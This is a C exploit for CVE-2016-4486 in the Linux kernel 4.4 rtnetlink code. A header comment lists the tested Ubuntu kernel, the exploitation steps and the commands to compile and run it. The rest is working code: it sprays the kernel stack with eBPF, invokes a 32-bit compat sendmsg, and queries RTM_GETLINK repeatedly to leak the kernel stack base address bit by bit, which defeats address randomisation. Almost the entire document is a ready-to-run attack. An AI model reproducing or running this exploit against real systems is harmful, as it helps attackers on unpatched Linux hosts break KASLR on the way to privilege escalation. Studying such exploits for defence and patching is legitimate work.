Linux Kernel 4.4 - 'rtnetlink' Stack Memory Disclosure

/*
 * [ Briefs ] 
 *    - CVE-2016-4486 has discovered and reported by Kangjie Lu.
 *    - This is local exploit against the CVE-2016-4486.
 *
 * [ Tested version ]
 *    - Distro :  Ubuntu 16.04
 *    - Kernel version :  4.4.0-21-generic
 *    - Arch : x86_64
 *
 * [ Prerequisites ]
 *    - None
 *
 * [ Goal ]
 *    - Leak kernel stack base address of current process by exploiting CVE-2016-4486.
 *
 * [ Exploitation ]
 *    - CVE-2016-4486 leaks 32-bits arbitrary kernel memory from uninitialized stack.
 *    - This exploit gets 61-bits stack base address among the 64-bits full address.
 *      remaining 3-bits is not leaked because of limitation of ebpf.
 *    - Full exploitation are performed as follows.
 *
 *    1. Spraying kernel stack as kernel stack address via running ebpf program.
 *       - We can spray stack up to 512-bytes by running ebpf program.
 *       - After this step, memory to be leaked will be filled with kernel stack address.
 *    2. Trigger CVE-2016-4486 to leak 4-bytes which is low part of stack address.
 *       - After this step, stack address :  0xffff8800????????;  (? is unknown address yet.)
 *    3. Leak high 4-bytes of stack address. The leaking is done as one-by-one bit. why one-by-one?
 *       - CVE-2016-4486 allows to leak 4-bytes only, so that we always get low 4-bytes of stack address.
 *       - Then, How to overcome this challenge?? The one of possible answer is that
 *         do operation on high-4bytes with carefully selected value which changes low-4bytes.
 *         For example, Assume that real stack address is 0xffff880412340000;
 *         and, do sub operation. ==> 0xffff880412340000 - 0x0000000012360000 (selected value);
 *         The result will be "0xffff8803....." ==> Yap! low 4-bytes are changed!! and We can see this!
 *         The result makes us to know that high 4-bytes are smaller than 0x12360000;
 *         Then, We can keep going with smaller value.
 *       - The algorithm is quite similar to quick-search.
 *    4. Unfortunately, ebpf program limitation stops us to leak full 64-bits.
 *       - 3-bits (bit[16], bit[15], bit[14]) are not leaked.
 *       - But, Since 3-bit is not sufficient randomness, It's very valuable for attacker.
 *    Bonus) Why do I use compat_sendmsg() instead of normal sendmsg()?
 *       - When I did spraying stack with normal sendmsg(), I couldn't spray up to memory to be leaked.
 *       - If I use compat-sendmsg(), The execution path will be different from normal sendmsg().
 *         This makes me to spray it more far.
 *
 * [ Run exploit ]
 *    - $ gcc poc.c -o poc
 *    - $ ./poc
 *        ....
 *        ....
 *        leak stack address range :
 *        -----from :  ffff88007f7e0000
 *        --------to : ffff88007f7fc000
 *       (Since we can get 61-bit address, Print the possible address range out.)
 *
 * [ Contact ]
 *    - jinb.park7@gmail.com
 *    - github.com/jinb-park
 */

#include <asm/types.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <asm/unistd_64.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <linux/bpf.h>
#include <linux/filter.h>

#define GPLv2 "GPL v2"
#define ARRSIZE(x) (sizeof(x) / sizeof((x)[0]))

#define INTERFACE_INDEX (0)
#define LEAK_OFFSET (28)

/*
 * BPF-based stack sprayer
 */
/* registers */
/* caller-saved: r0..r5 */
#define BPF_REG_ARG1    BPF_REG_1
#define BPF_REG_ARG2    BPF_REG_2
#define BPF_REG_ARG3    BPF_REG_3
#define BPF_REG_ARG4    BPF_REG_4
#define BPF_REG_ARG5    BPF_REG_5
#define BPF_REG_CTX     BPF_REG_6
#define BPF_REG_FP      BPF_REG_10

#define BPF_MOV32_REG(DST, SRC)                 \
  ((struct bpf_insn) {                          \
    .code  = BPF_ALU | BPF_MOV | BPF_X,       \
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = 0,                                 \
    .imm   = 0 })
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF)        \
  ((struct bpf_insn) {                          \
    .code  = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM,\
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = OFF,                               \
    .imm   = 0 })
#define BPF_ST_MEM(SIZE, DST, OFF, IMM)         \
  ((struct bpf_insn) {                          \
    .code  = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
    .dst_reg = DST,                             \
    .src_reg = 0,                               \
    .off   = OFF,                               \
    .imm   = IMM })
#define BPF_STX_MEM(SIZE, DST, SRC, OFF)        \
  ((struct bpf_insn) {                          \
    .code  = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM,\
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = OFF,                               \
    .imm   = 0 })
#define BPF_STX_ADD_MEM(SIZE, DST, SRC, OFF)        \
  ((struct bpf_insn) {                          \
    .code  = BPF_STX | BPF_XADD | BPF_SIZE(SIZE),\
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = OFF,                               \
    .imm   = 0 })
#define BPF_MOV64_IMM(DST, IMM)                 \
  ((struct bpf_insn) {                          \
    .code  = BPF_ALU64 | BPF_MOV | BPF_K,       \
    .dst_reg = DST,                             \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = IMM })	
#define BPF_EXIT_INSN()                         \
  ((struct bpf_insn) {                          \
    .code  = BPF_JMP | BPF_EXIT,                \
    .dst_reg = 0,                               \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = 0 })
#define BPF_MOV64_REG(DST, SRC)                 \
  ((struct bpf_insn) {                          \
    .code  = BPF_ALU64 | BPF_MOV | BPF_X,       \
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = 0,                                 \
    .imm   = 0 })
#define BPF_ALU64_IMM(OP, DST, IMM)             \
  ((struct bpf_insn) {                          \
    .code  = BPF_ALU64 | BPF_OP(OP) | BPF_K,    \
    .dst_reg = DST,                             \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = IMM })
#define BPF_ALU64_REG(OP, DST, SRC)             \
  ((struct bpf_insn) {                          \
    .code  = BPF_ALU64 | BPF_OP(OP) | BPF_X,    \
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = 0,                                 \
    .imm   = 0 })

int bpf_(int cmd, union bpf_attr *attrs)
{
    return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

int prog_load(struct bpf_insn *insns, size_t insns_count)
{
    char verifier_log[100000];
    union bpf_attr create_prog_attrs = {
        .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
        .insn_cnt = insns_count,
        .insns = (uint64_t)insns,
        .license = (uint64_t)GPLv2,
        .log_level = 1,
        .log_size = sizeof(verifier_log),
        .log_buf = (uint64_t)verifier_log
    };
    int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs);
    int errno_ = errno;
    errno = errno_;
    if (progfd == -1) {
		printf("bpf prog load error\n");
		exit(-1);
	}
    return progfd;
}

int create_socket_by_socketpair(int *progfd)
{
	int socks[2];
    if (socketpair(AF_UNIX, SOCK_SEQPACKET, 0, socks)) {
        printf("socketpair error\n");
        exit(-1);
    }
    if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, progfd, sizeof(int))) {
        printf("setsockopt error\n");
        exit(-1);
    }
    return socks[1];
}

int create_filtered_socket_fd(struct bpf_insn *insns, size_t insns_count)
{
    int progfd = prog_load(insns, insns_count);
	return create_socket_by_socketpair(&progfd);
}

#define NR_sendmsg_32 370	// for 32-bit

typedef unsigned int compat_uptr_t;
typedef int compat_int_t;
typedef unsigned int compat_size_t;
typedef unsigned int compat_uint_t;

struct compat_msghdr {
    compat_uptr_t   msg_name;   /* void * */
    compat_int_t    msg_namelen;
    compat_uptr_t   msg_iov;    /* struct compat_iovec * */
    compat_size_t   msg_iovlen;
    compat_uptr_t   msg_control;    /* void * */
    compat_size_t   msg_controllen;
    compat_uint_t   msg_flags;
};
struct compat_iovec {
    compat_uptr_t   iov_base;
    compat_size_t   iov_len;
};

int sendmsg_by_legacy_call(int fd, unsigned int msg, int flags)
{
	int r = -1;

	asm volatile (
		"push %%rax\n"
		"push %%rbx\n"
		"push %%rcx\n"
		"push %%rdx\n"
		"push %%rsi\n"
		"push %%rdi\n"
		"mov %1, %%eax\n"
		"mov %2, %%ebx\n"
		"mov %3, %%ecx\n"
		"mov %4, %%edx\n"
		"int $0x80\n"
		"mov %%eax, %0\n"
		"pop %%rdi\n"
		"pop %%rsi\n"
		"pop %%rdx\n"
		"pop %%rcx\n"
		"pop %%rbx\n"
		"pop %%rax\n"
		: "=r" (r)
		: "r"(NR_sendmsg_32), "r"(fd), "r"(msg), "r"(flags)
		: "memory", "rax", "rbx", "rcx", "rdx", "rsi", "rdi"
	);

	return r;
}

#define COMPAT_SENDMSG
void trigger_proc(int sockfd)
{
#ifdef COMPAT_SENDMSG
	struct compat_msghdr *msg = NULL;
	struct compat_iovec *iov = NULL;
#else
	struct msghdr *msg = NULL;
	struct iovec *iov = NULL;
#endif
	char *buf = NULL;
	int r;

	// allocate under-32-bit address for compat syscall
	msg = mmap(0x70000, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
	if (msg == MAP_FAILED) {
		printf("mmap error : %d, %s\n", errno, strerror(errno));
		exit(0);
	}
	buf = mmap(0x90000, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
	if (buf == MAP_FAILED) {
		printf("mmap error : %d, %s\n", errno, strerror(errno));
		exit(0);
	}
	iov = mmap(0xb0000, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
	if (buf == MAP_FAILED) {
		printf("mmap error : %d, %s\n", errno, strerror(errno));
		exit(0);
	}

#ifdef COMPAT_SENDMSG
	iov->iov_base = (compat_uptr_t)buf;
#else
	iov->iov_base = buf;
#endif
	iov->iov_len = 128;
	msg->msg_name = NULL;
	msg->msg_namelen = 0;
#ifdef COMPAT_SENDMSG
	msg->msg_iov = (compat_uptr_t)iov;
#else
	msg->msg_iov = iov;
#endif
	msg->msg_iovlen = 1;
	msg->msg_control = NULL;
	msg->msg_controllen = 0;
	msg->msg_flags = 0;

#ifdef COMPAT_SENDMSG
	r = sendmsg_by_legacy_call(sockfd, (unsigned int)msg, 0);
#else
	r = sendmsg(sockfd, msg, 0);
#endif
	if (r < 0) {
		printf("sendmsg error, %d, %s\n", errno, strerror(errno));
		exit(-1);
	}
}

int sockfds = -1;

void stack_spraying_by_bpf(unsigned long val)
{
	int r;

	struct bpf_insn stack_spraying_insns[] = {
		BPF_MOV64_REG(BPF_REG_3, BPF_REG_FP),
		BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -val),

		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -368),
		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -376),
		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -384),
		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -392),
		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -400),
		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -408),
		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -416),
		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -424),
		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -432),
		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -440),
		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -448),
		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -456),
		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -464),
		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -472),
		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -480),
		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -488),
		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -496),
		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -504),
		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -512),

		BPF_MOV64_IMM(BPF_REG_0, 0),
		BPF_EXIT_INSN()
	};

	sockfds = create_filtered_socket_fd(stack_spraying_insns, ARRSIZE(stack_spraying_insns));
	if (sockfds < 0)
		return;

	trigger_proc(sockfds);
    close(sockfds);
	//sleep(1);
}

/*
28byte, 32byte including padding
struct rtnl_link_ifmap {
    __u64   mem_start;
    __u64   mem_end;
    __u64   base_addr;
    __u16   irq;
    __u8    dma;
    __u8    port;
};*/

// rtnl_fill_link_ifmap <-- rtnl_fill_ifinfo (symbol)

struct {
	struct nlmsghdr nh;
	struct ifinfomsg ifm;
	char attrbuf[512];
} req;

// Ubuntu 4.4.0-21-generic
#define RANGE_MIN_MASK ~((1<<16) | (1<<15) | (1<<14)) // and
#define RANGE_MAX_MASK ((1<<16) | (1<<15) | (1<<14)) // or

int main(int argc, char **argv)
{
	unsigned char buf[65535];
  	unsigned char map_buf[36] = {0,};
  	struct nlmsghdr *nl_msg_ptr;
  	struct ifinfomsg *inf_msg_ptr;
  	struct rtnl_link_ifmap *map_ptr;
  	struct rtattr *rta_ptr;
  	int size, len, attr_len, offset;
	int progfd;
	unsigned int sub_val = 0;
	unsigned int leak_value;
	unsigned long leak_full_stack = 0;
	unsigned int low_stack = 0;
	int i;

	for (i=0; i<16; i++) {
		int rtnetlink_sk = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_ROUTE);

		memset(&req, 0, sizeof(req));

		req.nh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
		req.nh.nlmsg_flags = NLM_F_DUMP | NLM_F_REQUEST;
		req.nh.nlmsg_type = RTM_GETLINK;
		req.nh.nlmsg_seq = 1;

		req.ifm.ifi_family = AF_UNSPEC;
		req.ifm.ifi_index = INTERFACE_INDEX;
		req.ifm.ifi_change = 0xffffffff;
	
		if (i == 0)
			sub_val = 0;
		else
			sub_val += (1 << (32 - i));

		stack_spraying_by_bpf((unsigned long)sub_val);
		if (send(rtnetlink_sk, &req, req.nh.nlmsg_len, 0) < 0) {
			printf("send error\n");
			goto out;
		}

		while (1) {
			if ((size = recv(rtnetlink_sk, buf, sizeof(buf), 0)) < 0) {
				fprintf(stderr, "ERROR recv(): %s\n", strerror(errno));
				goto out;
			}
			
			for (nl_msg_ptr = (struct nlmsghdr *)buf; size > (int)sizeof(*nl_msg_ptr);) {
				len = nl_msg_ptr->nlmsg_len;

				if (nl_msg_ptr->nlmsg_type == NLMSG_ERROR) {
					printf("NLMSG_ERROR\n");
					goto out;
				}
				else if (nl_msg_ptr->nlmsg_type == NLMSG_DONE)
					break;

				if (!NLMSG_OK(nl_msg_ptr, (unsigned int)size)) {
					printf("Not OK\n");
					goto out;
				}

				attr_len = IFLA_PAYLOAD(nl_msg_ptr);
				inf_msg_ptr = (struct ifinfomsg *)NLMSG_DATA(nl_msg_ptr);
				rta_ptr = (struct rtattr *)IFLA_RTA(inf_msg_ptr);

				for (; RTA_OK(rta_ptr, attr_len); rta_ptr = RTA_NEXT(rta_ptr, attr_len)) {
					if (rta_ptr->rta_type == IFLA_MAP) {
						if (rta_ptr->rta_len != sizeof(map_buf)) {
							printf("wrong size\n");
							goto out;
						}

						memcpy(map_buf, RTA_DATA(rta_ptr), sizeof(map_buf));
						map_ptr = &map_buf;
						leak_value = *(unsigned int *)(map_buf + LEAK_OFFSET);
						printf("leak_value : %08x\n", leak_value);
						break;
					}
				}		

				size -= NLMSG_ALIGN(len);
				nl_msg_ptr = (struct nlmsghdr *)((char *)nl_msg_ptr + NLMSG_ALIGN(len));
			}

			break;
		}

		if (low_stack == 0)
			low_stack = leak_value;
		else
			if (leak_value != low_stack)
				sub_val &= (~(1 << (32 - i)));	// clear bit

		memcpy((unsigned char *)&leak_full_stack + 4, &low_stack, 4);
		memcpy((unsigned char *)&leak_full_stack, &sub_val, 4);
		printf("[try-%d] stack address : %lx\n", i, leak_full_stack);
out:
		close(rtnetlink_sk);
	}

	printf("=======================================================================\n");
	printf("leak stack address range : \n");
	printf("-----from :  %lx\n", leak_full_stack & RANGE_MIN_MASK);
	printf("--------to : %lx\n", leak_full_stack | RANGE_MAX_MASK);
	printf("======================================================================\n");
	
	return 0;
}